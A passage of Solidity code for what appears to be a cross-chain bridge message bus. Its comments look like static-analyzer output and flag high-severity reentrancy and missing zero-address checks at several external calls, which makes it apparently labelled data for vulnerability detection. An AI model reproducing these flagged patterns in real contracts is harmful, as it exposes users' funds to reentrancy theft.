bytes calldata _message,\n address _executor\n ) external payable returns (ExecutionStatus);\n\n function executeMessageWithTransferFallback(\n address _sender,\n address _token,\n uint256 _amount,\n uint64 _srcChainId,\n bytes calldata _message,\n address _executor\n ) external payable returns (ExecutionStatus);\n\n function executeMessageWithTransferRefund(\n address _token,\n uint256 _amount,\n bytes calldata _message,\n address _executor\n ) external payable returns (ExecutionStatus);\n}\n\nlibrary MsgDataTypes {\n string constant ABORT_PREFIX = \"MSG::ABORT:\";\n\n function abortReason(\n string memory reason\n ) internal pure returns (string memory) {\n return string.concat(MsgDataTypes.ABORT_PREFIX, reason);\n }\n\n enum BridgeSendType {\n Null,\n Liquidity,\n PegDeposit,\n PegBurn,\n PegV2Deposit,\n PegV2Burn,\n PegV2BurnFrom\n }\n\n enum TransferType {\n Null,\n LqRelay,\n LqWithdraw,\n PegMint,\n PegWithdraw,\n PegV2Mint,\n PegV2Withdraw\n }\n\n enum MsgType {\n MessageWithTransfer,\n MessageOnly\n }\n\n enum TxStatus {\n Null,\n Success,\n Fail,\n Fallback,\n Pending\n }\n\n struct TransferInfo {\n TransferType t;\n address sender;\n address receiver;\n address token;\n uint256 amount;\n uint64 wdseq;\n uint64 srcChainId;\n bytes32 refId;\n bytes32 srcTxHash;\n }\n\n struct RouteInfo {\n address sender;\n address receiver;\n uint64 srcChainId;\n bytes32 srcTxHash;\n }\n\n struct RouteInfo2 {\n bytes sender;\n address receiver;\n uint64 srcChainId;\n bytes32 srcTxHash;\n }\n\n struct Route {\n address sender;\n bytes senderBytes;\n address receiver;\n uint64 srcChainId;\n bytes32 srcTxHash;\n }\n\n struct MsgWithTransferExecutionParams {\n bytes message;\n TransferInfo transfer;\n bytes[] sigs;\n address[] signers;\n uint256[] powers;\n }\n\n struct BridgeTransferParams {\n bytes request;\n bytes[] sigs;\n address[] signers;\n uint256[] powers;\n }\n}\n\nabstract contract MessageReceiverApp is IMessageReceiverApp, MessageBusAddress {\n modifier onlyMessageBus() {\n require(msg.sender == messageBus, \"caller is not message bus\");\n\n _;\n }\n\n function _abortReason(\n string memory reason\n ) internal pure returns (string memory) {\n return MsgDataTypes.abortReason(reason);\n }\n\n function executeMessage(\n address _sender,\n uint64 _srcChainId,\n bytes calldata _message,\n address _executor\n )\n external\n payable\n virtual\n override\n onlyMessageBus\n returns (ExecutionStatus)\n {}\n\n function executeMessage(\n bytes calldata _sender,\n uint64 _srcChainId,\n bytes calldata _message,\n address _executor\n )\n external\n payable\n virtual\n override\n onlyMessageBus\n returns (ExecutionStatus)\n {}\n\n function executeMessageWithTransfer(\n address _sender,\n address _token,\n uint256 _amount,\n uint64 _srcChainId,\n bytes calldata _message,\n address _executor\n )\n external\n payable\n virtual\n override\n onlyMessageBus\n returns (ExecutionStatus)\n {}\n\n function executeMessageWithTransferFallback(\n address _sender,\n address _token,\n uint256 _amount,\n uint64 _srcChainId,\n bytes calldata _message,\n address _executor\n )\n external\n payable\n virtual\n override\n onlyMessageBus\n returns (ExecutionStatus)\n {}\n\n function executeMessageWithTransferRefund(\n address _token,\n uint256 _amount,\n bytes calldata _message,\n address _executor\n )\n external\n payable\n virtual\n override\n onlyMessageBus\n returns (ExecutionStatus)\n {}\n}\n\ninterface IBridge {\n function send(\n address _receiver,\n address _token,\n uint256 _amount,\n uint64 _dstChainId,\n uint64 _nonce,\n uint32 _maxSlippage\n ) external;\n\n function sendNative(\n address _receiver,\n uint256 _amount,\n uint64 _dstChainId,\n uint64 _nonce,\n uint32 _maxSlippage\n ) external payable;\n\n function relay(\n bytes calldata _relayRequest,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external;\n\n function transfers(bytes32 transferId) external view returns (bool);\n\n function withdraws(bytes32 withdrawId) external view returns (bool);\n\n function withdraw(\n bytes calldata _wdmsg,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external;\n\n function verifySigs(\n bytes memory _msg,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external view;\n}\n\ninterface IOriginalTokenVault {\n function deposit(\n address _token,\n uint256 _amount,\n uint64 _mintChainId,\n address _mintAccount,\n uint64 _nonce\n ) external;\n\n function depositNative(\n uint256 _amount,\n uint64 _mintChainId,\n address _mintAccount,\n uint64 _nonce\n ) external payable;\n\n function withdraw(\n bytes calldata _request,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external;\n\n function records(bytes32 recordId) external view returns (bool);\n}\n\ninterface IOriginalTokenVaultV2 {\n function deposit(\n address _token,\n uint256 _amount,\n uint64 _mintChainId,\n address _mintAccount,\n uint64 _nonce\n ) external returns (bytes32);\n\n function depositNative(\n uint256 _amount,\n uint64 _mintChainId,\n address _mintAccount,\n uint64 _nonce\n ) external payable returns (bytes32);\n\n function withdraw(\n bytes calldata _request,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external returns (bytes32);\n\n function records(bytes32 recordId) external view returns (bool);\n}\n\ninterface IPeggedTokenBridge {\n function burn(\n address _token,\n uint256 _amount,\n address _withdrawAccount,\n uint64 _nonce\n ) external;\n\n function mint(\n bytes calldata _request,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external;\n\n function records(bytes32 recordId) external view returns (bool);\n}\n\ninterface IPeggedTokenBridgeV2 {\n function burn(\n address _token,\n uint256 _amount,\n uint64 _toChainId,\n address _toAccount,\n uint64 _nonce\n ) external returns (bytes32);\n\n function burnFrom(\n address _token,\n uint256 _amount,\n uint64 _toChainId,\n address _toAccount,\n uint64 _nonce\n ) external returns (bytes32);\n\n function mint(\n bytes calldata _request,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external returns (bytes32);\n\n function records(bytes32 recordId) external view returns (bool);\n}\n\ninterface IMessageBus {\n function sendMessage(\n address _receiver,\n uint256 _dstChainId,\n bytes calldata _message\n ) external payable;\n\n function sendMessage(\n bytes calldata _receiver,\n uint256 _dstChainId,\n bytes calldata _message\n ) external payable;\n\n function sendMessageWithTransfer(\n address _receiver,\n uint256 _dstChainId,\n address _srcBridge,\n bytes32 _srcTransferId,\n bytes calldata _message\n ) external payable;\n\n function executeMessage(\n bytes calldata _message,\n MsgDataTypes.RouteInfo calldata _route,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external payable;\n\n function executeMessageWithTransfer(\n bytes calldata _message,\n MsgDataTypes.TransferInfo calldata _transfer,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external payable;\n\n function executeMessageWithTransferRefund(\n bytes calldata _message,\n MsgDataTypes.TransferInfo calldata _transfer,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external payable;\n\n function withdrawFee(\n address _account,\n uint256 _cumulativeFee,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external;\n\n function calcFee(bytes calldata _message) external view returns (uint256);\n\n function liquidityBridge() external view returns (address);\n\n function pegBridge() external view returns (address);\n\n function pegBridgeV2() external view returns (address);\n\n function pegVault() external view returns (address);\n\n function pegVaultV2() external view returns (address);\n}\n\nlibrary MessageSenderLib {\n using SafeERC20 for IERC20;\n\n function sendMessage(\n address _receiver,\n uint64 _dstChainId,\n bytes memory _message,\n address _messageBus,\n uint256 _fee\n ) internal {\n IMessageBus(_messageBus).sendMessage{value: _fee}(\n _receiver,\n _dstChainId,\n _message\n );\n }\n\n function sendMessage(\n bytes calldata _receiver,\n uint64 _dstChainId,\n bytes memory _message,\n address _messageBus,\n uint256 _fee\n ) internal {\n IMessageBus(_messageBus).sendMessage{value: _fee}(\n _receiver,\n _dstChainId,\n _message\n );\n }\n\n function sendMessageWithTransfer(\n address _receiver,\n address _token,\n uint256 _amount,\n uint64 _dstChainId,\n uint64 _nonce,\n uint32 _maxSlippage,\n bytes memory _message,\n MsgDataTypes.BridgeSendType _bridgeSendType,\n address _messageBus,\n uint256 _fee\n ) internal returns (bytes32) {\n (bytes32 transferId, address bridge) = sendTokenTransfer(\n _receiver,\n _token,\n _amount,\n _dstChainId,\n _nonce,\n _maxSlippage,\n _bridgeSendType,\n _messageBus\n );\n\n if (_message.length > 0) {\n IMessageBus(_messageBus).sendMessageWithTransfer{value: _fee}(\n _receiver,\n _dstChainId,\n bridge,\n transferId,\n _message\n );\n }\n\n return transferId;\n }\n\n function sendTokenTransfer(\n address _receiver,\n address _token,\n uint256 _amount,\n uint64 _dstChainId,\n uint64 _nonce,\n uint32 _maxSlippage,\n MsgDataTypes.BridgeSendType _bridgeSendType,\n address _messageBus\n ) internal returns (bytes32 transferId, address bridge) {\n if (_bridgeSendType == MsgDataTypes.BridgeSendType.Liquidity) {\n bridge = IMessageBus(_messageBus).liquidityBridge();\n\n IERC20(_token).safeIncreaseAllowance(bridge, _amount);\n\n IBridge(bridge).send(\n _receiver,\n _token,\n _amount,\n _dstChainId,\n _nonce,\n _maxSlippage\n );\n\n transferId = computeLiqBridgeTransferId(\n _receiver,\n _token,\n _amount,\n _dstChainId,\n _nonce\n );\n } else if (_bridgeSendType == MsgDataTypes.BridgeSendType.PegDeposit) {\n bridge = IMessageBus(_messageBus).pegVault();\n\n IERC20(_token).safeIncreaseAllowance(bridge, _amount);\n\n IOriginalTokenVault(bridge).deposit(\n _token,\n _amount,\n _dstChainId,\n _receiver,\n _nonce\n );\n\n transferId = computePegV1DepositId(\n _receiver,\n _token,\n _amount,\n _dstChainId,\n _nonce\n );\n } else if (_bridgeSendType == MsgDataTypes.BridgeSendType.PegBurn) {\n bridge = IMessageBus(_messageBus).pegBridge();\n\n IERC20(_token).safeIncreaseAllowance(bridge, _amount);\n\n IPeggedTokenBridge(bridge).burn(_token, _amount, _receiver, _nonce);\n\n IERC20(_token).safeApprove(bridge, 0);\n\n transferId = computePegV1BurnId(_receiver, _token, _amount, _nonce);\n } else if (\n _bridgeSendType == MsgDataTypes.BridgeSendType.PegV2Deposit\n ) {\n bridge = IMessageBus(_messageBus).pegVaultV2();\n\n IERC20(_token).safeIncreaseAllowance(bridge, _amount);\n\n transferId = IOriginalTokenVaultV2(bridge).deposit(\n _token,\n _amount,\n _dstChainId,\n _receiver,\n _nonce\n );\n } else if (_bridgeSendType == MsgDataTypes.BridgeSendType.PegV2Burn) {\n bridge = IMessageBus(_messageBus).pegBridgeV2();\n\n IERC20(_token).safeIncreaseAllowance(bridge, _amount);\n\n transferId = IPeggedTokenBridgeV2(bridge).burn(\n _token,\n _amount,\n _dstChainId,\n _receiver,\n _nonce\n );\n\n IERC20(_token).safeApprove(bridge, 0);\n } else if (\n _bridgeSendType == MsgDataTypes.BridgeSendType.PegV2BurnFrom\n ) {\n bridge = IMessageBus(_messageBus).pegBridgeV2();\n\n IERC20(_token).safeIncreaseAllowance(bridge, _amount);\n\n transferId = IPeggedTokenBridgeV2(bridge).burnFrom(\n _token,\n _amount,\n _dstChainId,\n _receiver,\n _nonce\n );\n\n IERC20(_token).safeApprove(bridge, 0);\n } else {\n revert(\"bridge type not supported\");\n }\n }\n\n function computeLiqBridgeTransferId(\n address _receiver,\n address _token,\n uint256 _amount,\n uint64 _dstChainId,\n uint64 _nonce\n ) internal view returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n address(this),\n _receiver,\n _token,\n _amount,\n _dstChainId,\n _nonce,\n uint64(block.chainid)\n )\n );\n }\n\n function computePegV1DepositId(\n address _receiver,\n address _token,\n uint256 _amount,\n uint64 _dstChainId,\n uint64 _nonce\n ) internal view returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n address(this),\n _token,\n _amount,\n _dstChainId,\n _receiver,\n _nonce,\n uint64(block.chainid)\n )\n );\n }\n\n function computePegV1BurnId(\n address _receiver,\n address _token,\n uint256 _amount,\n uint64 _nonce\n ) internal view returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n address(this),\n _token,\n _amount,\n _receiver,\n _nonce,\n uint64(block.chainid)\n )\n );\n }\n}\n\ninterface IDelayedTransfer {\n struct delayedTransfer {\n address receiver;\n address token;\n uint256 amount;\n uint256 timestamp;\n }\n\n function delayedTransfers(\n bytes32 transferId\n ) external view returns (delayedTransfer memory);\n}\n\nlibrary Utils {\n function getRevertMsg(\n bytes memory _returnData\n ) internal pure returns (string memory) {\n if (_returnData.length < 68) return \"Transaction reverted silently\";\n\n assembly {\n _returnData := add(_returnData, 0x04)\n }\n\n return abi.decode(_returnData, (string));\n }\n}\n\nabstract contract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(msg.sender);\n }\n\n function initOwner() internal {\n require(_owner == address(0), \"owner already set\");\n\n _setOwner(msg.sender);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract MessageBusReceiver is Ownable {\n mapping(bytes32 => MsgDataTypes.TxStatus) public executedMessages;\n\n address public liquidityBridge;\n\n address public pegBridge;\n\n address public pegVault;\n\n address public pegBridgeV2;\n\n address public pegVaultV2;\n\n uint256 public preExecuteMessageGasUsage;\n\n event Executed(\n MsgDataTypes.MsgType msgType,\n bytes32 msgId,\n MsgDataTypes.TxStatus status,\n address indexed receiver,\n uint64 srcChainId,\n bytes32 srcTxHash\n );\n\n event NeedRetry(\n MsgDataTypes.MsgType msgType,\n bytes32 msgId,\n uint64 srcChainId,\n bytes32 srcTxHash\n );\n\n event CallReverted(string reason);\n\n event LiquidityBridgeUpdated(address liquidityBridge);\n\n event PegBridgeUpdated(address pegBridge);\n\n event PegVaultUpdated(address pegVault);\n\n event PegBridgeV2Updated(address pegBridgeV2);\n\n event PegVaultV2Updated(address pegVaultV2);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b99867c): MessageBusReceiver.constructor(address,address,address,address,address)._liquidityBridge lacks a zerocheck on \t liquidityBridge = _liquidityBridge\n\t// Recommendation for b99867c: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9be8ca2): MessageBusReceiver.constructor(address,address,address,address,address)._pegBridge lacks a zerocheck on \t pegBridge = _pegBridge\n\t// Recommendation for 9be8ca2: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0749fec): MessageBusReceiver.constructor(address,address,address,address,address)._pegVault lacks a zerocheck on \t pegVault = _pegVault\n\t// Recommendation for 0749fec: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e0b3fb0): MessageBusReceiver.constructor(address,address,address,address,address)._pegBridgeV2 lacks a zerocheck on \t pegBridgeV2 = _pegBridgeV2\n\t// Recommendation for e0b3fb0: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bcd24bb): MessageBusReceiver.constructor(address,address,address,address,address)._pegVaultV2 lacks a zerocheck on \t pegVaultV2 = _pegVaultV2\n\t// Recommendation for bcd24bb: Check that the address is not zero.\n constructor(\n address _liquidityBridge,\n address _pegBridge,\n address _pegVault,\n address _pegBridgeV2,\n address _pegVaultV2\n ) {\n\t\t// missing-zero-check | ID: b99867c\n liquidityBridge = _liquidityBridge;\n\n\t\t// missing-zero-check | ID: 9be8ca2\n pegBridge = _pegBridge;\n\n\t\t// missing-zero-check | ID: 0749fec\n pegVault = _pegVault;\n\n\t\t// missing-zero-check | ID: e0b3fb0\n pegBridgeV2 = _pegBridgeV2;\n\n\t\t// missing-zero-check | ID: bcd24bb\n pegVaultV2 = _pegVaultV2;\n }\n\n function initReceiver(\n address _liquidityBridge,\n address _pegBridge,\n address _pegVault,\n address _pegBridgeV2,\n address _pegVaultV2\n ) internal {\n require(liquidityBridge == address(0), \"liquidityBridge already set\");\n\n liquidityBridge = _liquidityBridge;\n\n pegBridge = _pegBridge;\n\n pegVault = _pegVault;\n\n pegBridgeV2 = _pegBridgeV2;\n\n pegVaultV2 = _pegVaultV2;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a005e41): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a005e41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e3e5d50): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e3e5d50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9064011): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9064011: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 80d82a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 80d82a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeMessageWithTransfer(\n bytes calldata _message,\n MsgDataTypes.TransferInfo calldata _transfer,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) public payable {\n bytes32 messageId = verifyTransfer(_transfer);\n\n require(\n executedMessages[messageId] == MsgDataTypes.TxStatus.Null,\n \"transfer already executed\"\n );\n\n executedMessages[messageId] = MsgDataTypes.TxStatus.Pending;\n\n bytes32 domain = keccak256(\n abi.encodePacked(\n block.chainid,\n address(this),\n \"MessageWithTransfer\"\n )\n );\n\n IBridge(liquidityBridge).verifySigs(\n abi.encodePacked(domain, messageId, _message, _transfer.srcTxHash),\n _sigs,\n _signers,\n _powers\n );\n\n MsgDataTypes.TxStatus status;\n\n\t\t// reentrancy-events | ID: a005e41\n\t\t// reentrancy-events | ID: e3e5d50\n\t\t// reentrancy-eth | ID: 9064011\n\t\t// reentrancy-eth | ID: 80d82a6\n IMessageReceiverApp.ExecutionStatus est = executeMessageWithTransfer(\n _transfer,\n _message\n );\n\n if (est == IMessageReceiverApp.ExecutionStatus.Success) {\n status = MsgDataTypes.TxStatus.Success;\n } else if (est == IMessageReceiverApp.ExecutionStatus.Retry) {\n\t\t\t// reentrancy-eth | ID: 9064011\n executedMessages[messageId] = MsgDataTypes.TxStatus.Null;\n\n\t\t\t// reentrancy-events | ID: c19a992\n\t\t\t// reentrancy-events | ID: e3e5d50\n emit NeedRetry(\n MsgDataTypes.MsgType.MessageWithTransfer,\n messageId,\n _transfer.srcChainId,\n _transfer.srcTxHash\n );\n\n return;\n } else {\n\t\t\t// reentrancy-events | ID: a005e41\n\t\t\t// reentrancy-eth | ID: 80d82a6\n est = executeMessageWithTransferFallback(_transfer, _message);\n\n if (est == IMessageReceiverApp.ExecutionStatus.Success) {\n status = MsgDataTypes.TxStatus.Fallback;\n } else {\n status = MsgDataTypes.TxStatus.Fail;\n }\n }\n\n\t\t// reentrancy-eth | ID: 80d82a6\n executedMessages[messageId] = status;\n\n\t\t// reentrancy-events | ID: a005e41\n emitMessageWithTransferExecutedEvent(messageId, status, _transfer);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 98ee548): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 98ee548: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 61b0bd2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 61b0bd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeMessageWithTransferRefund(\n bytes calldata _message,\n MsgDataTypes.TransferInfo calldata _transfer,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) public payable {\n bytes32 messageId = verifyTransfer(_transfer);\n\n require(\n executedMessages[messageId] == MsgDataTypes.TxStatus.Null,\n \"transfer already executed\"\n );\n\n executedMessages[messageId] = MsgDataTypes.TxStatus.Pending;\n\n bytes32 domain = keccak256(\n abi.encodePacked(\n block.chainid,\n address(this),\n \"MessageWithTransferRefund\"\n )\n );\n\n IBridge(liquidityBridge).verifySigs(\n abi.encodePacked(domain, messageId, _message, _transfer.srcTxHash),\n _sigs,\n _signers,\n _powers\n );\n\n MsgDataTypes.TxStatus status;\n\n\t\t// reentrancy-events | ID: 98ee548\n\t\t// reentrancy-eth | ID: 61b0bd2\n IMessageReceiverApp.ExecutionStatus est = executeMessageWithTransferRefund(\n _transfer,\n _message\n );\n\n if (est == IMessageReceiverApp.ExecutionStatus.Success) {\n status = MsgDataTypes.TxStatus.Success;\n } else if (est == IMessageReceiverApp.ExecutionStatus.Retry) {\n\t\t\t// reentrancy-eth | ID: 61b0bd2\n executedMessages[messageId] = MsgDataTypes.TxStatus.Null;\n\n\t\t\t// reentrancy-events | ID: 1b2ac5d\n\t\t\t// reentrancy-events | ID: 98ee548\n emit NeedRetry(\n MsgDataTypes.MsgType.MessageWithTransfer,\n messageId,\n _transfer.srcChainId,\n _transfer.srcTxHash\n );\n\n return;\n } else {\n status = MsgDataTypes.TxStatus.Fail;\n }\n\n\t\t// reentrancy-eth | ID: 61b0bd2\n executedMessages[messageId] = status;\n\n\t\t// reentrancy-events | ID: 98ee548\n emitMessageWithTransferExecutedEvent(messageId, status, _transfer);\n }\n\n function executeMessage(\n bytes calldata _message,\n MsgDataTypes.RouteInfo calldata _route,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external payable {\n MsgDataTypes.Route memory route = getRouteInfo(_route);\n\n executeMessage(_message, route, _sigs, _signers, _powers, \"Message\");\n }\n\n function executeMessage(\n bytes calldata _message,\n MsgDataTypes.RouteInfo2 calldata _route,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers\n ) external payable {\n MsgDataTypes.Route memory route = getRouteInfo(_route);\n\n executeMessage(_message, route, _sigs, _signers, _powers, \"Message2\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7da179f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7da179f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 353ca31): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 353ca31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeMessage(\n bytes calldata _message,\n MsgDataTypes.Route memory _route,\n bytes[] calldata _sigs,\n address[] calldata _signers,\n uint256[] calldata _powers,\n string memory domainName\n ) private {\n bytes32 messageId = computeMessageOnlyId(_route, _message);\n\n require(\n executedMessages[messageId] == MsgDataTypes.TxStatus.Null,\n \"message already executed\"\n );\n\n executedMessages[messageId] = MsgDataTypes.TxStatus.Pending;\n\n bytes32 domain = keccak256(\n abi.encodePacked(block.chainid, address(this), domainName)\n );\n\n IBridge(liquidityBridge).verifySigs(\n abi.encodePacked(domain, messageId),\n _sigs,\n _signers,\n _powers\n );\n\n MsgDataTypes.TxStatus status;\n\n\t\t// reentrancy-events | ID: 7da179f\n\t\t// reentrancy-eth | ID: 353ca31\n IMessageReceiverApp.ExecutionStatus est = executeMessage(\n _route,\n _message\n );\n\n if (est == IMessageReceiverApp.ExecutionStatus.Success) {\n status = MsgDataTypes.TxStatus.Success;\n } else if (est == IMessageReceiverApp.ExecutionStatus.Retry) {\n\t\t\t// reentrancy-eth | ID: 353ca31\n executedMessages[messageId] = MsgDataTypes.TxStatus.Null;\n\n\t\t\t// reentrancy-events | ID: 7da179f\n emit NeedRetry(\n MsgDataTypes.MsgType.MessageOnly,\n messageId,\n _route.srcChainId,\n _route.srcTxHash\n );\n\n return;\n } else {\n status = MsgDataTypes.TxStatus.Fail;\n }\n\n\t\t// reentrancy-eth | ID: 353ca31\n executedMessages[messageId] = status;\n\n\t\t// reentrancy-events | ID: 7da179f\n emitMessageOnlyExecutedEvent(messageId, status, _route);\n }\n\n function emitMessageWithTransferExecutedEvent(\n bytes32 _messageId,\n MsgDataTypes.TxStatus _status,\n MsgDataTypes.TransferInfo calldata _transfer\n ) private {\n\t\t// reentrancy-events | ID: c19a992\n\t\t// reentrancy-events | ID: a005e41\n\t\t// reentrancy-events | ID: 1b2ac5d\n\t\t// reentrancy-events | ID: 98ee548\n emit Executed(\n MsgDataTypes.MsgType.MessageWithTransfer,\n _messageId,\n _status,\n _transfer.receiver,\n _transfer.srcChainId,\n _transfer.srcTxHash\n );\n }\n\n function emitMessageOnlyExecutedEvent(\n bytes32 _messageId,\n MsgDataTypes.TxStatus _status,\n MsgDataTypes.Route memory _route\n ) private {\n\t\t// reentrancy-events | ID: 7da179f\n emit Executed(\n MsgDataTypes.MsgType.MessageOnly,\n _messageId,\n _status,\n _route.receiver,\n _route.srcChainId,\n _route.srcTxHash\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e11080f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e11080f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeMessageWithTransfer(\n MsgDataTypes.TransferInfo calldata _transfer,\n bytes calldata _message\n ) private returns (IMessageReceiverApp.ExecutionStatus) {\n uint256 gasLeftBeforeExecution = gasleft();\n\n\t\t// reentrancy-events | ID: c19a992\n\t\t// reentrancy-events | ID: a005e41\n\t\t// reentrancy-events | ID: e11080f\n\t\t// reentrancy-events | ID: e3e5d50\n\t\t// reentrancy-eth | ID: 9064011\n\t\t// reentrancy-eth | ID: 80d82a6\n (bool ok, bytes memory res) = address(_transfer.receiver).call{\n value: msg.value\n }(\n abi.encodeWithSelector(\n IMessageReceiverApp.executeMessageWithTransfer.selector,\n _transfer.sender,\n _transfer.token,\n _transfer.amount,\n _transfer.srcChainId,\n _message,\n msg.sender\n )\n );\n\n if (ok) {\n return abi.decode((res), (IMessageReceiverApp.ExecutionStatus));\n }\n\n\t\t// reentrancy-events | ID: e11080f\n handleExecutionRevert(gasLeftBeforeExecution, res);\n\n return IMessageReceiverApp.ExecutionStatus.Fail;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a35f5c4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a35f5c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeMessageWithTransferFallback(\n MsgDataTypes.TransferInfo calldata _transfer,\n bytes calldata _message\n ) private returns (IMessageReceiverApp.ExecutionStatus) {\n uint256 gasLeftBeforeExecution = gasleft();\n\n\t\t// reentrancy-events | ID: c19a992\n\t\t// reentrancy-events | ID: a005e41\n\t\t// reentrancy-events | ID: a35f5c4\n\t\t// reentrancy-eth | ID: 80d82a6\n (bool ok, bytes memory res) = address(_transfer.receiver).call{\n value: msg.value\n }(\n abi.encodeWithSelector(\n IMessageReceiverApp.executeMessageWithTransferFallback.selector,\n _transfer.sender,\n _transfer.token,\n _transfer.amount,\n _transfer.srcChainId,\n _message,\n msg.sender\n )\n );\n\n if (ok) {\n return abi.decode((res), (IMessageReceiverApp.ExecutionStatus));\n }\n\n\t\t// reentrancy-events | ID: a35f5c4\n handleExecutionRevert(gasLeftBeforeExecution, res);\n\n return IMessageReceiverApp.ExecutionStatus.Fail;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d719969): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d719969: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeMessageWithTransferRefund(\n MsgDataTypes.TransferInfo calldata _transfer,\n bytes calldata _message\n ) private returns (IMessageReceiverApp.ExecutionStatus) {\n uint256 gasLeftBeforeExecution = gasleft();\n\n\t\t// reentrancy-events | ID: 1b2ac5d\n\t\t// reentrancy-events | ID: 98ee548\n\t\t// reentrancy-events | ID: d719969\n\t\t// reentrancy-eth | ID: 61b0bd2\n (bool ok, bytes memory res) = address(_transfer.receiver).call{\n value: msg.value\n }(\n abi.encodeWithSelector(\n IMessageReceiverApp.executeMessageWithTransferRefund.selector,\n _transfer.token,\n _transfer.amount,\n _message,\n 